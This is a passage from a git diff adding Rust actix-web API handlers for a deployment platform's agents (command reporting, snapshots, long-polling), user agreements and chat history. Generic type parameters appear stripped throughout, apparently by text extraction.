+ 1, + e + ); + if retry < 2 { + tokio::time::sleep(tokio::time::Duration::from_secs(2_u64.pow(retry))) + .await; + } + } + } + } + }); + + let audit_log = models::AuditLog::new( + Some(saved_agent.id), + Some(payload.deployment_hash.clone()), + "agent.registered".to_string(), + Some("success".to_string()), + ) + .with_details(serde_json::json!({ + "version": payload.agent_version, + "capabilities": payload.capabilities, + })) + .with_ip( + req.peer_addr() + .map(|addr| addr.ip().to_string()) + .unwrap_or_default(), + ); + + if let Err(err) = db::agent::log_audit(agent_pool.as_ref(), audit_log).await { + tracing::warn!("Failed to log agent registration audit: {:?}", err); + } + + let response = RegisterAgentResponseWrapper { + data: RegisterAgentResponseData { + item: RegisterAgentResponse { + agent_id: saved_agent.id.to_string(), + agent_token, + dashboard_version: "2.0.0".to_string(), + supported_api_versions: vec!["1.0".to_string()], + }, + }, + }; + + tracing::info!( + "Agent registered: {} for deployment: {}", + saved_agent.id, + payload.deployment_hash + ); + + Ok(HttpResponse::Created().json(response)) +} diff --git a/stacker/stacker/src/routes/agent/report.rs b/stacker/stacker/src/routes/agent/report.rs new file mode 100644 index 0000000..ee6ac85 --- /dev/null +++ b/stacker/stacker/src/routes/agent/report.rs @@ -0,0 +1,439 @@ +use crate::{ + db, forms::status_panel, helpers, helpers::AgentPgPool, helpers::MqManager, models, + models::pipe::PipeExecution, +}; +use actix_web::{post, web, HttpRequest, Responder, Result}; +use serde::{Deserialize, Serialize}; +use serde_json::json; +use std::sync::Arc; + +/// Event published to RabbitMQ when a command result is reported +#[derive(Debug, Serialize)] +pub struct CommandCompletedEvent { + pub command_id: String, + pub deployment_hash: String, + pub command_type: String, + pub status: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub executed_by: Option, + pub has_result: bool, + pub has_error: bool, + pub agent_id: uuid::Uuid, + pub completed_at: chrono::DateTime, +} + +#[derive(Debug, Deserialize)] +pub struct CommandReportRequest { + pub command_id: String, + pub deployment_hash: String, + pub status: String, // domain-level status (e.g., ok|unhealthy|failed) + #[serde(default)] + pub command_status: Option, // explicitly force completed/failed + pub result: Option, + pub error: Option, + #[serde(default)] + pub errors: Option>, // preferred multi-error payload + #[allow(dead_code)] + pub started_at: Option>, + pub completed_at: chrono::DateTime, + #[serde(default)] + pub executed_by: Option, +} + +#[derive(Debug, Serialize, Default)] +pub struct CommandReportResponse { + pub accepted: bool, + pub message: String, +} + +#[tracing::instrument(name = "Agent report command result", skip_all)] +#[post("/commands/report")] +pub async fn report_handler( + agent: web::ReqData>, + payload: web::Json, + agent_pool: web::Data, + mq_manager: web::Data, + _req: HttpRequest, +) -> Result { + // Verify agent is authorized for this deployment_hash + if agent.deployment_hash != payload.deployment_hash { + return Err(helpers::JsonResponse::forbidden( + "Not authorized for this deployment", + )); + } + + // Update agent heartbeat + let _ = db::agent::update_heartbeat(agent_pool.as_ref(), agent.id, "online").await; + + // Parse status to CommandStatus enum + let has_errors = payload + .errors + .as_ref() + .map(|errs| !errs.is_empty()) + .unwrap_or(false); + + let status = match payload.command_status.as_deref() { + Some(value) => match value.to_lowercase().as_str() { + "completed" => models::CommandStatus::Completed, + "failed" => models::CommandStatus::Failed, + _ => { + return Err(helpers::JsonResponse::bad_request( + "Invalid command_status. Must be 'completed' or 'failed'", + )); + } + }, + None => { + if payload.status.eq_ignore_ascii_case("failed") || has_errors { + models::CommandStatus::Failed + } else { + models::CommandStatus::Completed + } + } + }; + + let command = db::command::fetch_by_command_id(agent_pool.as_ref(), &payload.command_id) + .await + .map_err(|err| { + tracing::error!("Failed to fetch command {}: {}", payload.command_id, err); + helpers::JsonResponse::internal_server_error(err) + })?; + + let command = match command { + Some(cmd) => cmd, + None => { + tracing::warn!("Command not found for report: {}", payload.command_id); + return Err(helpers::JsonResponse::not_found("Command not found")); + } + }; + + if command.deployment_hash != payload.deployment_hash { + tracing::warn!( + "Deployment hash mismatch for command {}: expected {}, got {}", + payload.command_id, + command.deployment_hash, + payload.deployment_hash + ); + return Err(helpers::JsonResponse::not_found( + "Command not found for this deployment", + )); + } + + let error_payload = if let Some(errors) = payload.errors.as_ref() { + if errors.is_empty() { + None + } else { + Some(json!({ "errors": errors })) + } + } else { + payload.error.clone() + }; + + let mut result_payload = status_panel::validate_command_result( + &command.r#type, + &payload.deployment_hash, + &payload.result, + ) + .map_err(|err| { + tracing::warn!( + command_type = %command.r#type, + command_id = %payload.command_id, + "Invalid command result payload: {}", + err + ); + helpers::JsonResponse::<()>::build().bad_request(err) + })?; + + if result_payload.is_none() && !payload.status.is_empty() { + result_payload = Some(json!({ "status": payload.status.clone() })); + } + + let metadata_patch = payload + .executed_by + .as_ref() + .map(|executed_by| json!({ "executed_by": executed_by })); + + // Update command in database with result + match db::command::update_result_with_metadata( + agent_pool.as_ref(), + &payload.command_id, + &status, + result_payload.clone(), + error_payload.clone(), + metadata_patch.clone(), + ) + .await + { + Ok(_) => { + tracing::info!( + "Command {} updated to status '{}' by agent {}", + payload.command_id, + status, + agent.id + ); + + // Remove from queue if still there (shouldn't be, but cleanup) + let _ = db::command::remove_from_queue(agent_pool.as_ref(), &payload.command_id).await; + + // Cleanup project_app record when remove_app command completes successfully + if command.r#type == "remove_app" && status == models::CommandStatus::Completed { + if let Some(ref params) = command.parameters { + if let Some(app_code) = params.get("app_code").and_then(|v| v.as_str()) { + match db::deployment::fetch_by_deployment_hash( + agent_pool.as_ref(), + &payload.deployment_hash, + ) + .await + { + Ok(Some(deployment)) => { + match db::project_app::delete_by_project_and_code( + agent_pool.as_ref(), + deployment.project_id, + app_code, + ) + .await + { + Ok(true) => { + tracing::info!( + deployment_hash = %payload.deployment_hash, + app_code = %app_code, + "Deleted project_app record after successful remove_app" + ); + } + Ok(false) => { + tracing::debug!( + deployment_hash = %payload.deployment_hash, + app_code = %app_code, + "No project_app record found to delete (may have been removed already)" + ); + } + Err(e) => { + tracing::warn!( + deployment_hash = %payload.deployment_hash, + app_code = %app_code, + error = %e, + "Failed to delete project_app record after remove_app" + ); + } + } + } + Ok(None) => { + tracing::warn!( + deployment_hash = %payload.deployment_hash, + "Deployment not found; cannot clean up project_app" + ); + } + Err(e) => { + tracing::warn!( + deployment_hash = %payload.deployment_hash, + error = %e, + "Failed to fetch deployment for project_app cleanup" + ); + } + } + } + } + } + + // Persist trigger_pipe results as pipe execution history + if command.r#type == "trigger_pipe" { + if let Some(ref result) = result_payload { + if let Ok(report) = serde_json::from_value::< + status_panel::TriggerPipeCommandReport, + >(result.clone()) + { + if let Ok(instance_id) = uuid::Uuid::parse_str(&report.pipe_instance_id) { + let created_by = payload + .executed_by + .clone() + .unwrap_or_else(|| agent.id.to_string()); + + let normalized_status = + if report.success { "success" } else { "failed" }; + let source_data = report.source_data.as_ref(); + let mapped_data = report.mapped_data.as_ref(); + let target_response = report.target_response.as_ref(); + let error = report.error.as_deref().or(Some("Unknown error")); + + let persisted = if report.trigger_type == "replay" { + match db::pipe::find_pending_replay_execution( + agent_pool.as_ref(), + &instance_id, + &payload.deployment_hash, + ) + .await + { + Ok(Some(existing)) => { + db::pipe::update_execution_result( + agent_pool.as_ref(), + &existing.id, + normalized_status, + source_data, + mapped_data, + target_response, + if report.success { None } else { error }, + None, + ) + .await + } + Ok(None) => { + let execution = PipeExecution::new( + instance_id, + Some(payload.deployment_hash.clone()), + report.trigger_type.clone(), + created_by.clone(), + ); + let execution = if report.success { + execution.complete_success( + report.source_data.clone().unwrap_or(json!(null)), + report.mapped_data.clone().unwrap_or(json!(null)), + report + .target_response + .clone() + .unwrap_or(json!(null)), + ) + } else { + execution.complete_failure( + report + .error + .clone() + .unwrap_or_else(|| "Unknown error".to_string()), + ) + }; + db::pipe::insert_execution(agent_pool.as_ref(), &execution) + .await + } + Err(e) => Err(e), + } + } else { + let execution = PipeExecution::new( + instance_id, + Some(payload.deployment_hash.clone()), + report.trigger_type.clone(), + created_by, + ); + let execution = if report.success { + execution.complete_success( + report.source_data.clone().unwrap_or(json!(null)), + report.mapped_data.clone().unwrap_or(json!(null)), + report.target_response.clone().unwrap_or(json!(null)), + ) + } else { + execution.complete_failure( + report + .error + .clone() + .unwrap_or_else(|| "Unknown error".to_string()), + ) + }; + db::pipe::insert_execution(agent_pool.as_ref(), &execution).await + }; + + if let Err(e) = persisted { + tracing::warn!( + pipe_instance_id = %report.pipe_instance_id, + trigger_type = %report.trigger_type, + "Failed to persist pipe execution: {}", + e + ); + } + + let _ = db::pipe::increment_trigger_count( + agent_pool.as_ref(), + &instance_id, + report.success, + ) + .await; + } + } + } + } + + // Log audit event + let audit_log = models::AuditLog::new( + Some(agent.id), + Some(payload.deployment_hash.clone()), + "agent.command_reported".to_string(), + Some(status.to_string()), + ) + .with_details(serde_json::json!({ + "command_id": payload.command_id, + "status": status.to_string(), + "has_result": result_payload.is_some(), + "has_error": error_payload.is_some(), + "reported_status": payload.status, + "executed_by": payload.executed_by, + })); + + let _ = db::agent::log_audit(agent_pool.as_ref(), audit_log).await; + + // Publish command completed event to RabbitMQ for dashboard/notifications + let event = CommandCompletedEvent { + command_id: payload.command_id.clone(), + deployment_hash: payload.deployment_hash.clone(), + command_type: command.r#type.clone(), + status: status.to_string(), + executed_by: payload.executed_by.clone(), + has_result: result_payload.is_some(), + has_error: error_payload.is_some(), + agent_id: agent.id, + completed_at: payload.completed_at, + }; + + let routing_key = format!( + "workflow.command.{}.{}", + status.to_string().to_lowercase(), + payload.deployment_hash + ); + + if let Err(e) = mq_manager + .publish("workflow".to_string(), routing_key.clone(), &event) + .await + { + tracing::warn!( + "Failed to publish command completed event for {}: {}", + payload.command_id, + e + ); + // Don't fail the request if event publishing fails + } else { + tracing::debug!( + "Published command completed event for {} to {}", + payload.command_id, + routing_key + ); + } + + let response = CommandReportResponse { + accepted: true, + message: format!("Command result accepted, status: {}", status), + }; + + Ok(helpers::JsonResponse::build() + .set_item(Some(response)) + .ok("Result accepted")) + } + Err(err) => { + tracing::error!( + "Failed to update command {} result: {}", + payload.command_id, + err + ); + + // Log failure in audit log + let audit_log = models::AuditLog::new( + Some(agent.id), + Some(payload.deployment_hash.clone()), + "agent.command_report_failed".to_string(), + Some("error".to_string()), + ) + .with_details(serde_json::json!({ + "command_id": payload.command_id, + "error": err, + })); + + let _ = db::agent::log_audit(agent_pool.as_ref(), audit_log).await; + + Err(helpers::JsonResponse::internal_server_error(err)) + } + } +} diff --git a/stacker/stacker/src/routes/agent/snapshot.rs b/stacker/stacker/src/routes/agent/snapshot.rs new file mode 100644 index 0000000..e991ed1 --- /dev/null +++ b/stacker/stacker/src/routes/agent/snapshot.rs @@ -0,0 +1,341 @@ +use crate::db; +use crate::forms::status_panel::HealthCommandReport; +use crate::helpers::{AgentPgPool, JsonResponse}; +use crate::models::{Command, ProjectApp}; +use crate::project_app::is_platform_managed_app_code; +use actix_web::{get, web, Responder, Result}; +use serde::{Deserialize, Serialize}; +use uuid::Uuid; + +#[derive(Debug, Serialize, Default)] +pub struct SnapshotResponse { + pub agent: Option, + pub commands: Vec, + pub containers: Vec, + pub apps: Vec, +} + +#[derive(Debug, Serialize, Default)] +pub struct AgentSnapshot { + pub id: Option, + pub version: Option, + pub capabilities: Option, + pub system_info: Option, + pub status: Option, + pub last_heartbeat: Option>, + pub deployment_hash: Option, +} + +#[derive(Debug, Serialize, Default)] +pub struct ContainerSnapshot { + pub id: Option, + pub app: Option, + pub state: Option, + pub image: Option, + pub name: Option, +} + +#[derive(Debug, Deserialize)] +pub struct SnapshotQuery { + #[serde(default = "default_command_limit")] + pub command_limit: i64, + #[serde(default)] + pub include_command_results: bool, +} + +fn default_command_limit() -> i64 { + 50 +} + +fn visible_project_apps(apps: Vec) -> Vec { + apps.into_iter() + .filter(|app| !is_platform_managed_app_code(&app.code)) + .collect() +} + +#[tracing::instrument(name = "Get deployment snapshot", skip_all)] +#[get("/deployments/{deployment_hash}")] +pub async fn snapshot_handler( + path: web::Path, + query: web::Query, + agent_pool: web::Data, +) -> Result { + tracing::info!( + "[SNAPSHOT HANDLER] Called for deployment_hash: {}, limit: {}, include_results: {}", + path, + query.command_limit, + query.include_command_results + ); + let deployment_hash = path.into_inner(); + + // Fetch agent + let agent = db::agent::fetch_by_deployment_hash(agent_pool.get_ref(), &deployment_hash) + .await + .ok() + .flatten(); + + tracing::debug!("[SNAPSHOT HANDLER] Agent : {:?}", agent); + // Fetch recent commands with optional result exclusion to reduce payload size + let commands = db::command::fetch_recent_by_deployment( + agent_pool.get_ref(), + &deployment_hash, + query.command_limit, + !query.include_command_results, + ) + .await + .unwrap_or_default(); + + tracing::debug!("[SNAPSHOT HANDLER] Commands : {:?}", commands); + // Fetch deployment to get project_id + let deployment = + db::deployment::fetch_by_deployment_hash(agent_pool.get_ref(), &deployment_hash) + .await + .ok() + .flatten(); + + tracing::debug!("[SNAPSHOT HANDLER] Deployment : {:?}", deployment); + // Fetch apps scoped to this specific deployment (falls back to project-level if no deployment-scoped apps) + let apps = if let Some(deployment) = &deployment { + db::project_app::fetch_by_deployment( + agent_pool.get_ref(), + deployment.project_id, + deployment.id, + ) + .await + .unwrap_or_default() + } else { + vec![] + }; + let apps = visible_project_apps(apps); + + tracing::debug!("[SNAPSHOT HANDLER] Apps : {:?}", apps); + + // Fetch recent health commands WITH results to populate container states + // (we always need health results for container status, even if include_command_results=false) + let health_commands = db::command::fetch_recent_by_deployment( + agent_pool.get_ref(), + &deployment_hash, + 10, // Fetch last 10 health checks + false, // Always include results for health commands + ) + .await + .unwrap_or_default(); + + // Extract container states from recent health check commands + // Use a HashMap to keep only the most recent health check per app_code + let mut container_map: std::collections::HashMap = + std::collections::HashMap::new(); + + for cmd in health_commands.iter() { + if cmd.r#type == "health" && cmd.status == "completed" { + if let Some(result) = &cmd.result { + if let Ok(health) = serde_json::from_value::(result.clone()) { + // Serialize ContainerState enum to string using serde + let state = serde_json::to_value(&health.container_state) + .ok() + .and_then(|v| v.as_str().map(String::from)) + .map(|s| s.to_lowercase()); + + let container = ContainerSnapshot { + id: None, + app: Some(health.app_code.clone()), + state, + image: None, + name: None, + }; + + // Only insert if we don't have this app yet (keeps most recent due to DESC order) + container_map + .entry(health.app_code.clone()) + .or_insert(container); + } + } + } + } + + let containers: Vec = container_map.into_values().collect(); + + tracing::debug!( + "[SNAPSHOT HANDLER] Containers extracted from {} health checks: {:?}", + health_commands.len(), + containers + ); + + // Derive effective status: if heartbeat is stale (>5 min), override to "offline" + let agent_snapshot = agent.map(|a| { + let effective_status = match a.last_heartbeat { + Some(hb) => { + let stale_threshold = chrono::Duration::seconds(300); // 5 minutes + if chrono::Utc::now() - hb > stale_threshold { + "offline".to_string() + } else { + a.status.clone() + } + } + None => "offline".to_string(), // Never had a heartbeat + }; + AgentSnapshot { + id: Some(a.id), + version: a.version, + capabilities: a.capabilities, + system_info: a.system_info, + status: Some(effective_status), + last_heartbeat: a.last_heartbeat, + deployment_hash: Some(a.deployment_hash), + } + }); + tracing::debug!("[SNAPSHOT HANDLER] Agent Snapshot : {:?}", agent_snapshot); + + let resp = SnapshotResponse { + agent: agent_snapshot, + commands, + containers, + apps, + }; + + tracing::info!("[SNAPSHOT HANDLER] Snapshot response prepared: {:?}", resp); + Ok(JsonResponse::build() + .set_item(resp) + .ok("Snapshot fetched successfully")) +} + +/// Returns the snapshot for the most recently active agent in a project. +/// Used by the CLI as a stable project-scoped alternative to deployment-hash lookup. +#[tracing::instrument(name = "Get project agent snapshot", skip_all)] +#[get("/project/{project_id}")] +pub async fn project_snapshot_handler( + path: web::Path, + agent_pool: web::Data, +) -> Result { + let project_id = path.into_inner(); + + let agent = db::agent::fetch_active_by_project(agent_pool.get_ref(), project_id) + .await + .ok() + .flatten(); + + let agent_snapshot = match agent { + None => { + return Ok(JsonResponse::build() + .set_item(SnapshotResponse::default()) + .ok("No active agent found for project")); + } + Some(a) => { + let effective_status = match a.last_heartbeat { + Some(hb) => { + let stale_threshold = chrono::Duration::seconds(300); + if chrono::Utc::now() - hb > stale_threshold { + "offline".to_string() + } else { + a.status.clone() + } + } + None => "offline".to_string(), + }; + let deployment_hash = a.deployment_hash.clone(); + + let snap = AgentSnapshot { + id: Some(a.id), + version: a.version, + capabilities: a.capabilities, + system_info: a.system_info, + status: Some(effective_status), + last_heartbeat: a.last_heartbeat, + deployment_hash: Some(deployment_hash.clone()), + }; + (snap, deployment_hash) + } + }; + + let (agent_snap, deployment_hash) = agent_snapshot; + + let commands = + db::command::fetch_recent_by_deployment(agent_pool.get_ref(), &deployment_hash, 50, true) + .await + .unwrap_or_default(); + + let deployment = + db::deployment::fetch_by_deployment_hash(agent_pool.get_ref(), &deployment_hash) + .await + .ok() + .flatten(); + + let apps = if let Some(dep) = &deployment { + db::project_app::fetch_by_deployment(agent_pool.get_ref(), dep.project_id, dep.id) + .await + .unwrap_or_default() + } else { + vec![] + }; + let apps = visible_project_apps(apps); + + let health_commands = + db::command::fetch_recent_by_deployment(agent_pool.get_ref(), &deployment_hash, 10, false) + .await + .unwrap_or_default(); + + let mut container_map: std::collections::HashMap = + std::collections::HashMap::new(); + + for cmd in health_commands.iter() { + if cmd.r#type == "health" && cmd.status == "completed" { + if let Some(result) = &cmd.result { + if let Ok(health) = serde_json::from_value::(result.clone()) { + let state = serde_json::to_value(&health.container_state) + .ok() + .and_then(|v| v.as_str().map(String::from)) + .map(|s| s.to_lowercase()); + + let container = ContainerSnapshot { + id: None, + app: Some(health.app_code.clone()), + state, + image: None, + name: None, + }; + + container_map + .entry(health.app_code.clone()) + .or_insert(container); + } + } + } + } + + let containers: Vec = container_map.into_values().collect(); + + let resp = SnapshotResponse { + agent: Some(agent_snap), + commands, + containers, + apps, + }; + + Ok(JsonResponse::build() + .set_item(resp) + .ok("Snapshot fetched successfully")) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn app(code: &str) -> ProjectApp { + ProjectApp { + code: code.to_string(), + ..ProjectApp::default() + } + } + + #[test] + fn visible_project_apps_excludes_platform_managed_apps() { + let apps = visible_project_apps(vec![ + app("coolify"), + app("nginx_proxy_manager"), + app("statuspanel"), + ]); + + let codes = apps.iter().map(|app| app.code.as_str()).collect::>(); + assert_eq!(codes, vec!["coolify"]); + } +} diff --git a/stacker/stacker/src/routes/agent/wait.rs b/stacker/stacker/src/routes/agent/wait.rs new file mode 100644 index 0000000..cbd352c --- /dev/null +++ b/stacker/stacker/src/routes/agent/wait.rs @@ -0,0 +1,112 @@ +use crate::{configuration::Settings, db, helpers, helpers::AgentPgPool, models}; +use actix_web::{get, web, HttpRequest, Responder, Result}; +use serde_json::json; +use std::sync::Arc; +use std::time::Duration; + +#[derive(Debug, serde::Deserialize)] +pub struct WaitQuery { + pub timeout: Option, + pub interval: Option, +} + +#[tracing::instrument(name = "Agent poll for commands", skip_all)] +#[get("/commands/wait/{deployment_hash}")] +pub async fn wait_handler( + agent: web::ReqData>, + path: web::Path, + query: web::Query, + agent_pool: web::Data, + settings: web::Data, + _req: HttpRequest, +) -> Result { + let deployment_hash = path.into_inner(); + + // Verify agent is authorized for this deployment_hash + if agent.deployment_hash != deployment_hash { + return Err(helpers::JsonResponse::forbidden( + "Not authorized for this deployment", + )); + } + + // Update agent heartbeat - acquire and release connection quickly + let _ = db::agent::update_heartbeat(agent_pool.as_ref(), agent.id, "online").await; + + // Log poll event - acquire and release connection quickly + let audit_log = models::AuditLog::new( + Some(agent.id), + Some(deployment_hash.clone()), + "agent.command_polled".to_string(), + Some("success".to_string()), + ); + let _ = db::agent::log_audit(agent_pool.as_ref(), audit_log).await; + + // Long-polling: Check for pending commands with retries + // IMPORTANT: Each check acquires and releases DB connection to avoid pool exhaustion + let timeout_seconds = query + .timeout + .unwrap_or(settings.agent_command_poll_timeout_secs) + .clamp(5, 120); + let interval_seconds = query + .interval + .unwrap_or(settings.agent_command_poll_interval_secs) + .clamp(1, 10); + let check_interval = Duration::from_secs(interval_seconds); + let max_checks = (timeout_seconds / interval_seconds).max(1); + + for i in 0..max_checks { + // Acquire connection only for query, then release immediately + match db::command::fetch_next_for_deployment(agent_pool.as_ref(), &deployment_hash).await { + Ok(Some(command)) => { + tracing::info!( + "Found command {} for agent {} (deployment {})", + command.command_id, + agent.id, + deployment_hash + ); + + // Update command status to 'sent' - separate connection + let updated_command = db::command::update_status( + agent_pool.as_ref(), + &command.command_id, + &models::CommandStatus::Sent, + ) + .await + .map_err(|err| { + tracing::error!("Failed to update command status: {}", err); + helpers::JsonResponse::internal_server_error(err) + })?; + + // Remove from queue - separate connection + let _ = + db::command::remove_from_queue(agent_pool.as_ref(), &command.command_id).await; + + return Ok(helpers::JsonResponse::>::build() + .set_item(Some(updated_command)) + .set_meta(json!({ "next_poll_secs": interval_seconds })) + .ok("Command available")); + } + Ok(None) => { + // No command yet, sleep WITHOUT holding DB connection + if i < max_checks - 1 { + tokio::time::sleep(check_interval).await; + } + } + Err(err) => { + tracing::error!("Failed to fetch command from queue: {}", err); + return Err(helpers::JsonResponse::internal_server_error(err)); + } + } + } + + // No commands available after timeout + tracing::debug!( + "No commands available for agent {} after {} seconds", + agent.id, + timeout_seconds + ); + Ok(helpers::JsonResponse::>::build() + .set_item(None) + .set_meta(json!({ "next_poll_secs": interval_seconds })) + .ok("No command available")) +} diff --git a/stacker/stacker/src/routes/agreement/add.rs b/stacker/stacker/src/routes/agreement/add.rs new file mode 100644 index 0000000..e0fd98f --- /dev/null +++ b/stacker/stacker/src/routes/agreement/add.rs @@ -0,0 +1,75 @@ +use crate::db; +use crate::forms; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{post, web, Responder, Result}; +use serde_valid::Validate; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "Admin add agreement.", skip_all)] +#[post("")] +pub async fn admin_add_handler( + form: web::Json, + pg_pool: web::Data, +) -> Result { + if let Err(errors) = form.validate() { + return Err(JsonResponse::::build().form_error(errors.to_string())); + } + + let item: models::Agreement = form.into_inner().into(); + db::agreement::insert(pg_pool.get_ref(), item) + .await + .map(|item| { + JsonResponse::::build() + .set_item(Into::::into(item)) + .ok("success") + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + JsonResponse::::build().internal_server_error("Record not added") + }) +} + +#[tracing::instrument(name = "Add user agreement.", skip_all)] +#[post("")] +pub async fn user_add_handler( + user: web::ReqData>, + form: web::Json, + pg_pool: web::Data, +) -> Result { + if let Err(errors) = form.validate() { + return Err(JsonResponse::::build().form_error(errors.to_string())); + } + + let agreement = db::agreement::fetch(pg_pool.get_ref(), form.agrt_id) + .await + .map_err(|_msg| JsonResponse::::build().internal_server_error(_msg))? + .ok_or_else(|| JsonResponse::::build().not_found("not found"))?; + + let user_id = user.id.as_str(); + let user_agreement = + db::agreement::fetch_by_user_and_agreement(pg_pool.get_ref(), user_id, agreement.id) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })?; + + if user_agreement.is_some() { + return Err(JsonResponse::::build().bad_request("already signed")); + } + + let mut item: models::UserAgreement = form.into_inner().into(); + item.user_id = user.id.clone(); + + db::agreement::insert_by_user(pg_pool.get_ref(), item) + .await + .map(|item| { + JsonResponse::build() + .set_item(Into::::into(item)) + .ok("success") + }) + .map_err(|_err| { + JsonResponse::::build().internal_server_error("Failed to insert") + }) +} diff --git a/stacker/stacker/src/routes/agreement/get.rs b/stacker/stacker/src/routes/agreement/get.rs new file mode 100644 index 0000000..1df27fe --- /dev/null +++ b/stacker/stacker/src/routes/agreement/get.rs @@ -0,0 +1,42 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{get, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "Get agreement by id.", skip_all)] +#[get("/{id}")] +pub async fn get_handler( + _user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: web::Data, +) -> Result { + let id = path.0; + + db::agreement::fetch(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::internal_server_error(err.to_string())) + .and_then(|item| match item { + Some(item) => Ok(JsonResponse::build().set_item(Some(item)).ok("OK")), + None => Err(JsonResponse::not_found("not found")), + }) +} + +#[tracing::instrument(name = "Check if agreement signed/accepted.", skip_all)] +#[get("/accepted/{id}")] +pub async fn accept_handler( + user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: web::Data, +) -> Result { + let id = path.0; + + db::agreement::fetch_by_user_and_agreement(pg_pool.get_ref(), user.id.as_ref(), id) + .await + .map_err(|err| JsonResponse::internal_server_error(err.to_string())) + .and_then(|item| match item { + Some(item) => Ok(JsonResponse::build().set_item(Some(item)).ok("OK")), + None => Err(JsonResponse::not_found("not found")), + }) +} diff --git a/stacker/stacker/src/routes/agreement/mod.rs b/stacker/stacker/src/routes/agreement/mod.rs new file mode 100644 index 0000000..244ee95 --- /dev/null +++ b/stacker/stacker/src/routes/agreement/mod.rs @@ -0,0 +1,7 @@ +mod add; +mod get; +mod update; + +pub use add::*; +pub use get::*; +pub use update::*; diff --git a/stacker/stacker/src/routes/agreement/update.rs b/stacker/stacker/src/routes/agreement/update.rs new file mode 100644 index 0000000..531f1ac --- /dev/null +++ b/stacker/stacker/src/routes/agreement/update.rs @@ -0,0 +1,43 @@ +use crate::db; +use crate::forms; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{put, web, Responder, Result}; +use serde_valid::Validate; +use sqlx::PgPool; + +#[tracing::instrument(name = "Admin update agreement.", skip_all)] +#[put("/{id}")] +pub async fn admin_update_handler( + path: web::Path<(i32,)>, + form: web::Json, + pg_pool: web::Data, +) -> Result { + if let Err(errors) = form.validate() { + return Err(JsonResponse::::build().form_error(errors.to_string())); + } + + let id = path.0; + let mut item = db::agreement::fetch(pg_pool.get_ref(), id) + .await + .map_err(|_err| JsonResponse::::build().internal_server_error("")) + .and_then(|item| match item { + Some(item) => Ok(item), + _ => Err(JsonResponse::::build().not_found("not found")), + })?; + + form.into_inner().update(&mut item); + + db::agreement::update(pg_pool.get_ref(), item) + .await + .map(|item| { + JsonResponse::::build() + .set_item(Into::::into(item)) + .ok("success") + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + JsonResponse::::build() + .internal_server_error("Agreement not updated") + }) +} diff --git a/stacker/stacker/src/routes/chat/delete.rs b/stacker/stacker/src/routes/chat/delete.rs new file mode 100644 index 0000000..86bec89 --- /dev/null +++ b/stacker/stacker/src/routes/chat/delete.rs @@ -0,0 +1,27 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{delete, web, Responder, Result}; +use serde::Deserialize; +use sqlx::PgPool; +use std::sync::Arc; + +#[derive(Debug, Deserialize)] +pub struct Query { + pub project_id: Option, +} + +/// DELETE /chat/history?project_id={id} +/// Clears the stored chat conversation for the logged-in user. +#[tracing::instrument(name = "Delete chat history.", skip_all)] +#[delete("/history")] +pub async fn item( + user: web::ReqData>, + query: web::Query, + pg_pool: web::Data, +) -> Result { + db::chat::delete(pg_pool.get_ref(), &user.id, query.project_id) + .await + .map_err(|err| JsonResponse::internal_server_error(err.to_string())) + .map(|_| JsonResponse::::build().ok("OK")) +} diff --git a/stacker/stacker/src/routes/chat/get.rs b/stacker/stacker/src/routes/chat/get.rs new file mode 100644 index 0000000..fed31ef --- /dev/null +++ b/stacker/stacker/src/routes/chat/get.rs @@ -0,0 +1,31 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{get, web, Responder, Result}; +use serde::Deserialize; +use sqlx::PgPool; +use std::sync::Arc; + +#[derive(Debug, Deserialize)] +pub struct Query { + pub project_id: Option, +} + +/// GET /chat/history?project_id={id} +/// Returns the saved chat conversation for the logged-in user. +/// project_id is optional; omit for canvas/onboarding mode. +#[tracing::instrument(name = "Get chat history.", skip_all)] +#[get("/history")] +pub async fn item( + user: web::ReqData>, + query: web::Query, + pg_pool: web::Data, +) -> Result { + db::chat::fetch(pg_pool.get_ref(), &user.id, query.project_id) + .await + .map_err(|err| JsonResponse::internal_server_error(err.to_string())) + .and_then(|conv| match conv { + Some(c) => Ok(JsonResponse::build().set_item(Some(c)).ok("OK")), + None => Err(JsonResponse::not_found("No chat history found")), + }) +} diff --git a/stacker/stacker/src/routes/chat/mod.rs b/stacker/stacker/src/routes/chat/mod.rs new file mode 100644 index 0000000..b99105e --- /dev/null +++ b/stacker/stacker/src/routes/chat/mod.rs @@ -0,0 +1,3 @@ +pub mod delete; +pub mod get; +pub mod upsert; diff --git a/stacker/stacker/src/routes/chat/upsert.rs b/stacker/stacker/src/routes/chat/upsert.rs new file mode 100644 index 0000000..bf3dee7 --- /dev/null +++ b/stacker/stacker/src/routes/chat/upsert.rs @@ -0,0 +1,29 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{put, web, Responder, Result}; +use serde::Deserialize; +use serde_json::Value; +use sqlx::PgPool; +use std::sync::Arc; + +#[derive(Debug, Deserialize)] +pub struct ChatHistoryRequest { + pub project_id: Option, + pub messages: Value, +} + +/// PUT /chat/history +/// Upserts the chat conversation for the logged-in user. +#[tracing::instrument(name = "Upsert chat history.", skip_all)] +#[put("/history")] +pub async fn item( + user: web::ReqData>, + web::Json(body): web::Json, + pg_pool: web::Data, +) -> Result { + db::chat::upsert(pg_pool.get_ref(), &user.id, body.project_id, body.messages) + .await + .map(|conv| JsonResponse::build().set_item(conv).ok("OK")) + .map_err(|err| JsonResponse::internal_server_error(err.to_string())) +} diff --git a/stacker/stacker/src/routes/client/add.rs b/stacker/stacker/src/routes/client/add.rs new file mode 100644 index 0000000..4fea4d2 --- /dev/null +++ b/stacker/stacker/src/routes/client/add.rs @@ -0,0 +1,45 @@ +use crate::configuration::Settings; +use crate::db; +use crate::helpers::client; +use crate::helpers::JsonResponse; +use crate::models; +use 